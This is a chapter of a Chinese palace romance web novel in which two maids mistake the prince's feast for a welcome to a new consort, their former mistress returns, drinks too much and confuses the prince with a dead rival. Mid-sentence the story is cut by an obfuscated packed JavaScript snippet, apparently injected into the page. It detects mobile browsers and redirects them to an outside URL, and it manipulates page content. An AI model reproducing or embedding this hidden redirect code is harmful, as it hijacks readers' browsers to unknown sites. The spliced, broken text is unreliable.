迎春赶忙捂住她的嘴,慌乱地朝外看去:“我的姑奶奶,你可小点声啊,王爷这才刚走,今天宴客,全府都精神着呢,若是听到咱们院子里哭哭啼啼的,你我姐妹俩日后能不能再守着夫人这院子,都不好说了。”
金桔努力憋着眼泪,却怎么也憋不住,眼看着厨房的嬷嬷和小厮已经开始往院子里传菜了,金桔干脆一转身躲到了里间去。
迎春心里也不好受,但到底是忍住了,张罗着各色菜肴摆放在正屋圆桌上。
不多时,四碟八碗的凉菜都上来了,迎春打眼一看,乖乖,这些菜全都是旧日里夫人爱吃的,王爷竟然让厨房做了取悦新人,这可千万不能让金桔看见,不然还不把桌给掀了。
正纠结着,金桔抹了把脸出来了,到底是幽兰苑的丫环,总不好让迎春自己受累,可是看到那一桌菜色,金桔的眼泪又出来了。
“王爷简直是欺人太甚!”气得金桔直跺脚。
“谁在咒骂本王呢!”二人光看菜色去了,完全没注意到王爷已经进了院子,二人慌乱地跪倒在地,迎春心想这回可完蛋了,被王爷抓了正着,挨一顿板子都是轻的,正好这院子要来新主人了,也容不下他们这旧人的忠仆,恐怕两人就此要被发卖了。
金桔跪在地上,埋头嘤嘤了两声,想着反正王府也容不下自己了,莫不如痛快一把,干脆抬起头,冲着临安王哭诉着:“王爷赎罪,奴婢只是觉得这幽兰苑毕竟是旧人之所,王爷有了新欢,大可另辟一处院落,与新夫人制造新的共同回忆,没必要非要用夫人用过的地方,这里处处都有夫人的影子,王爷看了,就半点都不伤怀吗?”
临安王嘴微张着,瞪大眼睛,完全被金桔的话说懵了,好一会儿才反应过来。他苦笑着摇摇头,“你这小丫头,胆子倒不小,顶撞本王,你可知是什么后果?”
金桔俯在地上,戚戚焉道:“奴婢就算被打一顿发卖了,也要替夫人最后争一争长短!”
“金桔,你可太傻了!”金桔胸中正悲愤着,却听见临安王身后一声熟悉的声音传来,抬头一看,竟然是夫人。
“夫人……夫人!”金桔大哭着扑了上去,楚嫣也红了眼眶,上前扶起她,另一手也拽起迎春。
“你们两个,都好吗?”金桔哭得稀里哗啦,迎春也绷不住抹着眼泪,临安王笑着安慰哭成一团的几个人,“哎哟,本王设宴款待司官本是高兴的事,本来没告诉你们,是想给你们个惊喜,没想到反而让你们误会,哭成这样,倒是本王不对了。”
楚嫣转向临安王,“王爷,金桔护主心切,还求王爷卖嫣儿个人情,莫要怪罪。”
临安王调笑道:“楚司官言重了,司官可是陛下面前的红人,这个人情本王总不好不给的。”
楚嫣破涕为笑:“王爷莫要取笑嫣儿了。”
几人将脸上的眼泪擦干,将楚嫣请到桌前坐下,看着满屋的陈设与自己离开的时候竟无二致,楚嫣亦是分外感慨。
临安王夹了一筷子水晶虾仁放到楚嫣的盘中,“尝尝,府里换了厨子,这味道还吃不吃的惯?”
楚嫣夹起尝了一口,点头赞许。
一旁,迎春笑盈盈地取来一坛酒,“夫人,这是你走那段时日,王爷带来埋在院子里树下的,上好的女儿红,今日便喝了吧。”
“我走那段时日?”楚嫣诧异地转向萧澹,“王爷身上带着伤,怎还有精神来院子里埋酒?”
萧澹尴尬地笑笑,迎春掩嘴笑着,在楚嫣耳边低声道:“王爷那段时间思念夫人,每日都拎着酒坛坐在院里那木棉树下,流着眼泪独饮,后来,剩下的酒就干脆埋在了树下,说等着夫人回来再喝呢。”
楚嫣听罢,深望了一眼身边的人,只见萧澹有些尴尬地瞥过头去,不想再提这茬往事。
楚嫣柔柔垂首,斟了两杯酒,递给萧澹一杯,启口道:“王爷,那日之事,虽说事出有因,但毕竟是嫣儿伤了您,嫣儿敬您一杯,算是赔礼。”
临安王拿起酒杯,一饮而尽。
楚嫣又给自己斟了一杯,端起向临安王示意,“王爷,嫣儿自罚三杯。”
萧澹也不拦她,嘴角牵动着笑意,看她一杯杯牛饮着,到底是脸颊有些绯红色了,萧澹摘下她的酒杯,“行了,少喝点,女儿红后劲儿可大呢,小心伤身。”
“还给我,”楚嫣大声不依着,“我乃司官!不是你临安王的妾了!哼!还想管我!不准管!”
萧澹见她确是醉了,只得陪着笑,安抚着:“对对对,好好好,楚司官一顶一的厉害,本王可不敢干预司官的行动。”边说边不动声色地将她手中的酒换成了茶水。
楚嫣虽是醉了,却把这茶水和酒辨得分明,拿到口边一品,立时竖起眉毛来:“这什么东西,这么难喝,你唬我!萧澹!你敢唬本司官!”说着,伸出手捏住萧澹的两颊,直将他的嘴都捏的撅了起来,像只要吐泡的锦鲤。
两旁的丫环尴尬地别过脸去。
萧澹柔声哄着,示意金桔去拿浸了热水的帕子,取来之后,便用那热热的帕子轻擦着楚嫣的脸和额头。
楚嫣拍掉他的手,“不要……不要你!你是谁!”
萧澹重新提她擦了,柔声道:“好嫣儿,我是萧澹,是你的夫君呀。”
“萧澹……”楚嫣眯着眼睛深深望着他,从额头打量到脚尖,从脚尖,再打量到额头,许久许久,像从未认识过临安王一样。
“萧澹,你可知道,你长得像一个人……”楚嫣喃喃道,“他叫顾培风……顾培风……他是我的死对头,哈哈哈哈……”
楚嫣笑着,捶打着临安王的前胸,“死对头啊萧澹,和你长得……一模一样……”
萧澹没有制止,只微皱着眉头,受着那散碎的捶打,“他人呢?”
“死了……”楚嫣骤然收了笑,双眼空洞地望着前方,“他死了……为了我……死了。”
突然,她将目光收回,死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784329|149478||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死盯着临安王,两手抓着
他的衣襟,戚戚问道:“顾培风,你是不是顾培风,说啊!”
萧澹将她的手摘下,两手抓住她的肩膀,一字一句回道:“我是萧澹,只是萧澹,从不是任何人。”
楚嫣盯着他的眼睛,足有三分钟,复又挪开了眼神,“萧澹……你是萧澹……”
临安王见她已醉得不轻,只好将她横抱起来,送到了卧房里,金桔已将软榻铺好了,萧澹扫了一眼榻上,两只锦绣枕头,两床锦被。
他未多言语,将楚嫣轻轻置于软榻上,替她去了鞋子和外袍,将她塞进锦被里。
见楚嫣面上绯红,额上还有薄汗,又取帕子替她重新上上下下擦了一遍。
临安王转头将帕子挂到铜盆边上,脖颈后却忽地勾上一双玉臂。
心口一酥,萧澹回头,见楚嫣唇红面热,脸紧紧贴在他的背上,嘴里还发出柔媚的低喃声。
临安王探手轻抚她的脸颊,将楚嫣两臂放了下来,重新塞进被子里,在她的额上印下一吻,便闷着脸起身离开。
走到门口,听楚嫣在身后轻唤,“萧澹……”
临安王回头看她,是梦呓,他脚下定了定,还是转身离开了房间。
*
翌日,已是日上三竿,楚嫣方才起身,刚一坐起,便是一阵晕眩,她抬手扶住额头,“啊……好晕……”
听到屋里有动静,金桔推门进来,“夫人,您醒了。”
她端着铜盆,边上还搭着帕子,“夫人,昨夜醉酒了,洗把脸精神精神吧,奴婢熬了戒酒汤,等会儿喝点儿会舒服很多。”
楚嫣取帕子敷在脸上,熟悉的温度和触感令她有些回忆起昨夜,好像也有人用帕子替她擦拭来着,忽然,她想起些什么,转头看向身边的软榻,榻上明明白白两床被子,两只枕头。
楚嫣探手摸了摸另一边被子里面,凉的。又看了看那被子,整整齐齐,丝毫未动过。
“王爷昨晚何时回去的?”
金桔吞吞吐吐,“这……也不知道……不是太晚……”
楚嫣皱了皱眉,“金桔,好好说话。”
金桔为难地看了她一眼,叹了口气,“夫人,王爷昨晚没有留宿,将您抱到软榻上便离开了。”
“哦,”楚嫣努力回忆着昨晚的情景,却丝毫回忆不起来,“昨晚我喝了很多酒,什么都不记得了。”
金桔遗憾道:“本以为昨晚夫人和王爷能……可是夫人却莫名提起另一人,王爷似是有些生气了……”
“我提谁了?”楚嫣意外地问。
“顾北风。”金桔回忆着
“顾培风?”
“对对,顾培风!”金桔迎合着,“您说顾培风和王爷长得一模一样,你们是死对头,他死了,还问王爷为什么不是顾培风!”
楚嫣一屁股坐在软榻上,懊恼地敲着自己的脑袋,“楚嫣啊楚嫣,你都说了些什么啊!”